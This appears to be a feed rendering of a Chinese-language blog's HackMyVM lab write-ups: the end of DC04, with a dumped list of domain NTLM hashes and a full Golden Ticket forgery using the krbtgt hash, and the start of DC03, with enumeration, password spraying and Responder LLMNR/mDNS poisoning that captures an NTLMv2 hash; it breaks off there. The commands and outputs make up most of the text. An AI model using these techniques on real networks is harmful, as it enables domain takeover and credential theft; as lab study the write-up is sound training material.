SMB         192.168.56.126  445    DC01             soupedecode.local\rpenny24:1127:aad3b435b51404eeaad3b435b51404ee:5fab1372261215c4b044a87783431864:::
SMB         192.168.56.126  445    DC01             soupedecode.local\jiris25:1128:aad3b435b51404eeaad3b435b51404ee:aa6012bfc74a0369d29156021f3257bc:::
SMB         192.168.56.126  445    DC01             soupedecode.local\colivia26:1129:aad3b435b51404eeaad3b435b51404ee:8f5f5bb40aff00e15459b391f7921b75:::
SMB         192.168.56.126  445    DC01             soupedecode.local\pyvonne27:1130:aad3b435b51404eeaad3b435b51404ee:b6fd3ed6bb8d9e663ea1c94d7b389742:::
SMB         192.168.56.126  445    DC01             soupedecode.local\zfrank28:1131:aad3b435b51404eeaad3b435b51404ee:047bd6340fd9ba02f528fdd53f3ef75d:::
SMB         192.168.56.126  445    DC01             soupedecode.local\ybob317:1132:aad3b435b51404eeaad3b435b51404ee:6c1bb84837a6e5f236a14e7ee738bcb2:::
SMB         192.168.56.126  445    DC01             soupedecode.local\file_svc:1133:aad3b435b51404eeaad3b435b51404ee:2806705edcad95cdbcae8c0b579e77bd:::
SMB         192.168.56.126  445    DC01             soupedecode.local\qethan32:1135:aad3b435b51404eeaad3b435b51404ee:88a4ff75882e901d5297177e77b283ef:::
SMB         192.168.56.126  445    DC01             soupedecode.local\khenry33:1136:aad3b435b51404eeaad3b435b51404ee:5b54e2ed8cb45535eeed141497b4c4ad:::
SMB         192.168.56.126  445    DC01             soupedecode.local\sjudy34:1137:aad3b435b51404eeaad3b435b51404ee:9c31a3819c17a301ee81fe6153736fe3:::
SMB         192.168.56.126  445    DC01             soupedecode.local\rrachel35:1138:aad3b435b51404eeaad3b435b51404ee:2cdca6302c467b2e6e20ed6569b4ec05:::
SMB         192.168.56.126  445    DC01             soupedecode.local\caiden36:1139:aad3b435b51404eeaad3b435b51404ee:fdd90e58478ff95f06e0ec63d843966c:::
SMB         192.168.56.126  445    DC01             soupedecode.local\xbella37:1140:aad3b435b51404eeaad3b435b51404ee:cf73af1266f43400736bb947a39d5c2d:::
SMB         192.168.56.126  445    DC01             soupedecode.local\smark38:1141:aad3b435b51404eeaad3b435b51404ee:c259b454d173d109570f548bc4c80586:::
SMB         192.168.56.126  445    DC01             soupedecode.local\zximena448:1142:aad3b435b51404eeaad3b435b51404ee:09f26c79361eb03865275f61f0d60336:::
SMB         192.168.56.126  445    DC01             soupedecode.local\fmike40:1143:aad3b435b51404eeaad3b435b51404ee:48e0d7983f09b77aebd1ad4bbd5854b5:::
SMB         192.168.56.126  445    DC01             soupedecode.local\yeli41:1144:aad3b435b51404eeaad3b435b51404ee:47396dcddefeeb7941f2da82c80b08fc:::
SMB         192.168.56.126  445    DC01             soupedecode.local\knina42:1145:aad3b435b51404eeaad3b435b51404ee:a3fd7598c3b7d31392c9dab7974b17bf:::
SMB         192.168.56.126  445    DC01             soupedecode.local\vhelen43:1146:aad3b435b51404eeaad3b435b51404ee:0bb00e50f5b5543c96fc44de85574dc9:::
SMB         192.168.56.126  445    DC01             soupedecode.local\xoliver44:1147:aad3b435b51404eeaad3b435b51404ee:8040440a5a5cc24d8396ddfaeca5449b:::
SMB         192.168.56.126  445    DC01             soupedecode.local\jxander45:1148:aad3b435b51404eeaad3b435b51404ee:5b0891170d505561fc1d5e15324eebe3:::
SMB         192.168.56.126  445    DC01             soupedecode.local\czane46:1149:aad3b435b51404eeaad3b435b51404ee:c359110d940bafdabb4fbaafd939c04f:::
SMB         192.168.56.126  445    DC01             soupedecode.local\rwendy47:1150:aad3b435b51404eeaad3b435b51404ee:aa5997bbd9979fa1bfe36a0b71a60492:::
SMB         192.168.56.126  445    DC01             soupedecode.local\usean48:1151:aad3b435b51404eeaad3b435b51404ee:bf62b617cecc972f9dd14658ad39ff11:::
SMB         192.168.56.126  445    DC01             soupedecode.local\fhenry49:1152:aad3b435b51404eeaad3b435b51404ee:3ad857fdec198942ffc7515dcc832a9c:::
SMB         192.168.56.126  445    DC01             soupedecode.local\xkaren50:1153:aad3b435b51404eeaad3b435b51404ee:985711636a0b82d29fc11128d73d0cae:::
SMB         192.168.56.126  445    DC01             soupedecode.local\rbianca51:1154:aad3b435b51404eeaad3b435b51404ee:8ba444ab206cecbab4ed60b67c97efaa:::
SMB         192.168.56.126  445    DC01             soupedecode.local\mmona52:1155:aad3b435b51404eeaad3b435b51404ee:7cbb29015e4b6b0dbc3c03306a34951a:::
SMB         192.168.56.126  445    DC01             soupedecode.local\znora53:1156:aad3b435b51404eeaad3b435b51404ee:b5155ab1d24cfa4933c163fd847c2f04:::
SMB         192.168.56.126  445    DC01             soupedecode.local\zlila54:1157:aad3b435b51404eeaad3b435b51404ee:963305aaddd33d7f5794673a6abef94f:::
SMB         192.168.56.126  445    DC01             soupedecode.local\lliam55:1158:aad3b435b51404eeaad3b435b51404ee:6161f5e4e1eeabf6495fa94b20452ea8:::
SMB         192.168.56.126  445    DC01             soupedecode.local\znathan56:1159:aad3b435b51404eeaad3b435b51404ee:1a283daf0aae0b222dd99424583fd95e:::
SMB         192.168.56.126  445    DC01             soupedecode.local\kbella57:1160:aad3b435b51404eeaad3b435b51404ee:2fe66343f4b6e3a44dfc3fa970555a32:::
SMB         192.168.56.126  445    DC01             soupedecode.local\malice58:1161:aad3b435b51404eeaad3b435b51404ee:eeae0838405421f1e5387735e417f238:::
SMB         192.168.56.126  445    DC01             soupedecode.local\gadam59:1162:aad3b435b51404eeaad3b435b51404ee:be04e40e37d84cb655d39d944edff55d:::
SMB         192.168.56.126  445    DC01             soupedecode.local\byara60:1163:aad3b435b51404eeaad3b435b51404ee:3144195749475777ac877bf26160a1f2:::
SMB         192.168.56.126  445    DC01             soupedecode.local\fpenny61:1164:aad3b435b51404eeaad3b435b51404ee:2e936cf39faac7bd327d1fc4a923991b:::
SMB         192.168.56.126  445    DC01             soupedecode.local\tmona62:1165:aad3b435b51404eeaad3b435b51404ee:3d598e1b62ee28c4716d732c5a18a491:::
SMB         192.168.56.126  445    DC01             soupedecode.local\iuma63:1166:aad3b435b51404eeaad3b435b51404ee:c072a0fbdf9c330cb0362af964c5dea5:::
SMB         192.168.56.126  445    DC01             soupedecode.local\voscar64:1167:aad3b435b51404eeaad3b435b51404ee:7e599f533c36f5296aa6f714f89049b6:::
SMB         192.168.56.126  445    DC01             soupedecode.local\mpeter65:1168:aad3b435b51404eeaad3b435b51404ee:e7f4f860fd1ff873e2aed8ad0bce8d43:::
SMB         192.168.56.126  445    DC01             soupedecode.local\suna66:1169:aad3b435b51404eeaad3b435b51404ee:12a993f319ed123858bf78eb0e6dad87:::
SMB         192.168.56.126  445    DC01             soupedecode.local\bmegan67:1170:aad3b435b51404eeaad3b435b51404ee:7c697424104788b1ee289137f3432dd8:::
SMB         192.168.56.126  445    DC01             soupedecode.local\vsteve68:1171:aad3b435b51404eeaad3b435b51404ee:3280107c4a792f6adcb97876a3cb5f91:::
SMB         192.168.56.126  445    DC01             soupedecode.local\zcolin69:1172:aad3b435b51404eeaad3b435b51404ee:51c1adf50b3dd20dfed667e966af5091:::
SMB         192.168.56.126  445    DC01             soupedecode.local\wzane70:1173:aad3b435b51404eeaad3b435b51404ee:e278b99f3b9defc89092d86930cb7ad4:::
SMB         192.168.56.126  445    DC01             soupedecode.local\poscar71:1174:aad3b435b51404eeaad3b435b51404ee:489e964541ee04127e53dbea4a1807cd:::
SMB         192.168.56.126  445    DC01             soupedecode.local\walice72:1175:aad3b435b51404eeaad3b435b51404ee:57e9d64fd4bc187a18b2c62e2c6b0121:::
SMB         192.168.56.126  445    DC01             soupedecode.local\gvera73:1176:aad3b435b51404eeaad3b435b51404ee:d88e17ab0f79fed61e29f601a5d5efa0:::
SMB         192.168.56.126  445    DC01             soupedecode.local\khenry74:1177:aad3b435b51404eeaad3b435b51404ee:ed3c1f1b21ecd8fc1b034ce9e58d553b:::
SMB         192.168.56.126  445    DC01             soupedecode.local\otom75:1178:aad3b435b51404eeaad3b435b51404ee:2c16a2918e02eebb7fb3bac6be1d157a:::
SMB         192.168.56.126  445    DC01             soupedecode.local\hyusuf76:1179:aad3b435b51404eeaad3b435b51404ee:c6014e8ec0b66cb67bb07e08da725c06:::
SMB         192.168.56.126  445    DC01             soupedecode.local\xyara77:1180:aad3b435b51404eeaad3b435b51404ee:84a8b0d70714d5e9be2bd8d020c4562c:::
SMB         192.168.56.126  445    DC01             soupedecode.local\aian78:1181:aad3b435b51404eeaad3b435b51404ee:a29ea7347e2037278c08073de4334e90:::
SMB         192.168.56.126  445    DC01             soupedecode.local\xkate578:1182:aad3b435b51404eeaad3b435b51404ee:96ea865cda874db10d1b7c333e0d014a:::
SMB         192.168.56.126  445    DC01             soupedecode.local\ctina80:1183:aad3b435b51404eeaad3b435b51404ee:a2e4a0ae3dd15b118c8a210be20365e0:::
SMB         192.168.56.126  445    DC01             soupedecode.local\xrose81:1184:aad3b435b51404eeaad3b435b51404ee:ce4353626ad1fe9f76b1f5a1681d51aa:::
SMB         192.168.56.126  445    DC01             soupedecode.local\xharper82:1185:aad3b435b51404eeaad3b435b51404ee:008cd6d501431735075d448ff9c42704:::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到服务账号krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0f55cdc40bd8f5814587f7e6b2f85e6f:::&lt;/p&gt;
&lt;h2&gt;krbtgt验证&lt;/h2&gt;
&lt;p&gt;验证一下这个hash的有效性，看来hash是对的。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC04]
└─# netexec ldap 172.16.52.181 -u krbtgt -H 0f55cdc40bd8f5814587f7e6b2f85e6f
[*] Initializing LDAP protocol database
LDAP        172.16.52.181   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SOUPEDECODE.LOCAL)
LDAP        172.16.52.181   389    DC01             [-] SOUPEDECODE.LOCAL\krbtgt:0f55cdc40bd8f5814587f7e6b2f85e6f STATUS_ACCOUNT_DISABLED
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果hash是错的后面不会出现STATUS_ACCOUNT_DISABLED&lt;/p&gt;
&lt;h2&gt;DOMAIN  SID&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC04]
└─# impacket-lookupsid $DOMAIN/rtina979:heathcliff@172.16.52.181 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Brute forcing SIDs at 172.16.52.181
[*] StringBinding ncacn_np:172.16.52.181[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2986980474-46765180-2505414164
498: SOUPEDECODE\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: SOUPEDECODE\Administrator (SidTypeUser)
501: SOUPEDECODE\Guest (SidTypeUser)
502: SOUPEDECODE\krbtgt (SidTypeUser)
512: SOUPEDECODE\Domain Admins (SidTypeGroup)
513: SOUPEDECODE\Domain Users (SidTypeGroup)
514: SOUPEDECODE\Domain Guests (SidTypeGroup)
515: SOUPEDECODE\Domain Computers (SidTypeGroup)
516: SOUPEDECODE\Domain Controllers (SidTypeGroup)
517: SOUPEDECODE\Cert Publishers (SidTypeAlias)
518: SOUPEDECODE\Schema Admins (SidTypeGroup)
519: SOUPEDECODE\Enterprise Admins (SidTypeGroup)
520: SOUPEDECODE\Group Policy Creator Owners (SidTypeGroup)
521: SOUPEDECODE\Read-only Domain Controllers (SidTypeGroup)
522: SOUPEDECODE\Cloneable Domain Controllers (SidTypeGroup)
525: SOUPEDECODE\Protected Users (SidTypeGroup)
526: SOUPEDECODE\Key Admins (SidTypeGroup)
527: SOUPEDECODE\Enterprise Key Admins (SidTypeGroup)
553: SOUPEDECODE\RAS and IAS Servers (SidTypeAlias)
571: SOUPEDECODE\Allowed RODC Password Replication Group (SidTypeAlias)
572: SOUPEDECODE\Denied RODC Password Replication Group (SidTypeAlias)
1000: SOUPEDECODE\DC01$ (SidTypeUser)
1101: SOUPEDECODE\DnsAdmins (SidTypeAlias)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC04]
└─# rpcclient -U &amp;quot;rtina979&amp;quot; -c &amp;quot;lookupnames administrator&amp;quot; 172.16.52.181 

Password for [WORKGROUP\rtina979]:
administrator S-1-5-21-2986980474-46765180-2505414164-500 (User: 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;制作黄金票据&lt;/h1&gt;
&lt;h2&gt;🟦 0. 已知条件（前提）&lt;/h2&gt;
&lt;p&gt;黄金票据必须满足 3 个条件：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;需求&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;① 域 SID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;如：&lt;code&gt;S-1-5-21-2986980474-46765180-2505414164&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;② krbtgt 账户的 NTLM hash&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;例如：&lt;code&gt;0f55cdc40bd8f5814587f7e6b2f85e6f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;③ 域名&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;如：&lt;code&gt;SOUPEDECODE.LOCAL&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;🟦 1. 使用 ticketer 生成 Golden Ticket&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;impacket-ticketer \
  -domain SOUPEDECODE.LOCAL \
  -domain-sid S-1-5-21-2986980474-46765180-2505414164 \
  -nthash 0f55cdc40bd8f5814587f7e6b2f85e6f \
  eviluser
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功则输出：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[*] Saving ticket in eviluser.ccache
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 说明你已经伪造 TGT，拥有域管级别权限。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;🟦 2. 加载伪造的 Kerberos 票据&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;export KRB5CCNAME=eviluser.ccache
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;验证：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;klist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;会显示：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Default principal: eviluser@SOUPEDECODE.LOCAL
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;🟦 3. 配置 /etc/hosts与同步时间&lt;/h2&gt;
&lt;p&gt;Kerberos 不认 IP，只认主机名。&lt;/p&gt;
&lt;p&gt;加入：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;172.16.52.181 DC01.SOUPDECODE.LOCAL DC01
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;验证解析：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ping DC01
ping DC01.SOUPDECODE.LOCAL
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC04]
└─# ntpdate 172.16.52.181
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;🟦 4. 使用 Kerberos 身份连接 SMB（不能用 IP）&lt;/h2&gt;
&lt;p&gt;正确方式：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;impacket-smbclient -k -no-pass DC01
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功出现：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Type help for list of commands
#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明 Golden Ticket 已生效。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;🟦 5. 查看共享&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;shares
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通常会看到：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ADMIN$&lt;/li&gt;
&lt;li&gt;C$&lt;/li&gt;
&lt;li&gt;SYSVOL&lt;/li&gt;
&lt;li&gt;NETLOGON&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;🟦 6. 访问域控 ADMIN$（即 C:\Windows）&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;use ADMIN$
ls
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到系统目录即表示：&lt;br&gt;🎉 &lt;strong&gt;你已经以域管理员权限访问域控文件系统&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;🟦 7. 获取FLAG&lt;/h2&gt;
&lt;h3&gt;进入 C 盘：&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;use C$
ls
# cd Administrator
# cd Desktop
drw-rw-rw-          0  Thu Nov  7 14:08:30 2024 .
drw-rw-rw-          0  Sat Jun 15 15:56:40 2024 ..
-rw-rw-rw-        282  Sat Jun 15 13:54:32 2024 desktop.ini
-rw-rw-rw-         32  Thu Nov  7 05:08:10 2024 root.txt
# get root.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC04]
└─# cat root.txt                                  
1c66eabe105636d7e0b82ec1fa87cb7a                                                                                                                                                                
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;hr&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/dc04/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/dc04/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 09 Dec 2025 00:00:00 GMT</pubDate></item><item><title>HMV-DC03</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/dc03/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/dc03/</guid><description>Something realistic i think. U tell me.</description><content:encoded>&lt;p&gt;同样开局报错修改名字&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/DC03-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;确定IP&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot; | awk &amp;#39;{print $1}&amp;#39;                                    
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
172.16.55.212   
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 172.16.55.212                                       
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-08 03:40 EST
Stats: 0:00:38 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.93% done; ETC: 03:41 (0:00:00 remaining)
Nmap scan report for 172.16.55.212
Host is up (0.00037s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-12-08 23:41:12Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: DC01, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: 08:00:27:af:d1:44 (Oracle VirtualBox virtual NIC)
|_clock-skew: 14h59m57s
| smb2-time: 
|   date: 2025-12-08T23:41:12
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.38 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;172.16.55.212 SOUPEDECODE.LOCAL
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SMB枚举&lt;/h2&gt;
&lt;p&gt;由于445端口开放smb服务尝试进行枚举&lt;/p&gt;
&lt;h3&gt;enum4linux&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;enum4linux&lt;/code&gt;专门用于 &lt;strong&gt;枚举 SMB / RPC 服务的 Windows 主机&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/tools/ldapnomnom]
└─# enum4linux -u  -p  -a 172.16.55.212 
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Dec  8 03:57:12 2025

 =========================================( Target Information )=========================================
                                                                                                                                                           
Target ........... 172.16.55.212                                                                                                                           
RID Range ........ 500-550,1000-1050
Username ......... &amp;#39;-p&amp;#39;
Password ......... &amp;#39;&amp;#39;
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 172.16.55.212 )===========================
                                                                                                                                                           
                                                                                                                                                           
[+] Got domain/workgroup name: SOUPEDECODE                                                                                                                 
                                                                                                                                                           
                                                                                                                                                           
 ===============================( Nbtstat Information for 172.16.55.212 )===============================
                                                                                                                                                           
Looking up status of 172.16.55.212                                                                                                                         
        DC01            &amp;lt;00&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  Workstation Service
        SOUPEDECODE     &amp;lt;00&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Domain/Workgroup Name
        SOUPEDECODE     &amp;lt;1c&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Domain Controllers
        DC01            &amp;lt;20&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  File Server Service
        SOUPEDECODE     &amp;lt;1b&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  Domain Master Browser

        MAC Address = 08-00-27-AF-D1-44

 ===================================( Session Check on 172.16.55.212 )===================================
                                                                                                                                                           
                                                                                                                                                           
[E] Server doesn&amp;#39;t allow session using username &amp;#39;-p&amp;#39;, password &amp;#39;&amp;#39;.  Aborting remainder of tests.     
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;smb匿名访问&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/tools/ldapnomnom]
└─# netexec smb 172.16.55.212  -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot; --shares
SMB         172.16.55.212   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)                                                                                                                                                       
SMB         172.16.55.212   445    DC01             [-] SOUPEDECODE.LOCAL\: STATUS_ACCESS_DENIED 
SMB         172.16.55.212   445    DC01             [-] Error enumerating shares: Error occurs while reading from remote(104)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;域用户枚举&lt;/h2&gt;
&lt;p&gt; 没有什么信息，进行域用户枚举，使用&lt;code&gt;kerbrute&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/tools/kerbrute]
└─# ./kerbrute userenum -d SOUPEDECODE.LOCAL --dc 172.16.55.212 /home/kali/Desktop/wordlists/self/user.txt 2&amp;gt;&amp;amp;1 \
| sed -n &amp;#39;s/\x1b\[[0-9;]*m//g; /VALID USERNAME/ {s/.*VALID USERNAME: *//; s/@.*//; s/^[ \t]*//; s/[ \t\r]*$//; p}&amp;#39; &amp;gt; user.txt

┌──(root㉿kali)-[/home/kali/Desktop/tools/kerbrute]
└─# cat user.txt  
Administrator
charlie        
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;密码喷洒&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/tools/kerbrute]
└─# netexec smb 172.16.55.212 -u user.txt -p user.txt
SMB         172.16.55.212   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)                                                                                                                                                       
SMB         172.16.55.212   445    DC01             [-] SOUPEDECODE.LOCAL\Administrator:Administrator STATUS_LOGON_FAILURE 
SMB         172.16.55.212   445    DC01             [-] SOUPEDECODE.LOCAL\charlie:Administrator STATUS_LOGON_FAILURE 
SMB         172.16.55.212   445    DC01             [-] SOUPEDECODE.LOCAL\Administrator:charlie STATUS_LOGON_FAILURE 
SMB         172.16.55.212   445    DC01             [-] SOUPEDECODE.LOCAL\charlie:charlie STATUS_LOGON_FAILURE 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;crackmapexec smb 172.16.55.212  -u user.txt -p user.txt --continue-on-success --no-bruteforce
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没有弱密码存在&lt;/p&gt;
&lt;h1&gt;wireshark抓包&lt;/h1&gt;
&lt;p&gt;ip.addr == 172.16.55.212&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/DC03-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;🌐 什么是 mDNS？&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;mDNS = Multicast DNS&lt;/strong&gt;&lt;br&gt;端口 &lt;strong&gt;UDP 5353&lt;/strong&gt;&lt;br&gt;主要用于 &lt;strong&gt;局域网设备的自动发现&lt;/strong&gt;（特别是苹果生态）。&lt;/p&gt;
&lt;p&gt;看见存在靶机在发送&lt;code&gt;MDNS&lt;/code&gt;请求&lt;/p&gt;
&lt;p&gt;&lt;code&gt;172.16.55.212&lt;/code&gt; 正在发送 &lt;code&gt;mDNS&lt;/code&gt; 查询，例如 &lt;code&gt;A FileServer.local&lt;/code&gt;， 这表明靶机一直在请求&lt;code&gt;FileServer&lt;/code&gt; 的域名  &lt;/p&gt;
&lt;h1&gt;LLMNR 投毒&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# responder -I eth0 -wd
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR &amp;amp; MDNS Responder 3.1.5.0

  To support this project:
  Github -&amp;gt; https://github.com/sponsors/lgandx
  Paypal  -&amp;gt; https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C
  
[+] Listening for events...                                                                                                                                

[*] [DHCP] Found DHCP server IP: 172.16.52.1, now waiting for incoming requests...
[*] [DHCP] Found DHCP server IP: 172.16.52.1, now waiting for incoming requests...
[*] [NBT-NS] Poisoned answer sent to 172.16.55.212 for name FILESERVER (service: File Server)
[*] [MDNS] Poisoned answer sent to 172.16.55.212   for name FileServer.local
[*] [MDNS] Poisoned answer sent to fe80::8823:c086:cae3:8330 for name FileServer.local
[*] [MDNS] Poisoned answer sent to 172.16.55.212   for name FileServer.local
[*] [LLMNR]  Poisoned answer sent to fe80::8823:c086:cae3:8330 for name FileServer
[*] [LLMNR]  Poisoned answer sent to 172.16.55.212 for name FileServer
[*] [MDNS] Poisoned answer sent to fe80::8823:c086:cae3:8330 for name FileServer.local
[*] [LLMNR]  Poisoned answer sent to fe80::8823:c086:cae3:8330 for name FileServer
[*] [LLMNR]  Poisoned answer sent to 172.16.55.212 for name FileServer
[SMB] NTLMv2-SSP Client   : fe80::8823:c086:cae3:8330
[SMB] NTLMv2-SSP Username : soupedecode\xkate578
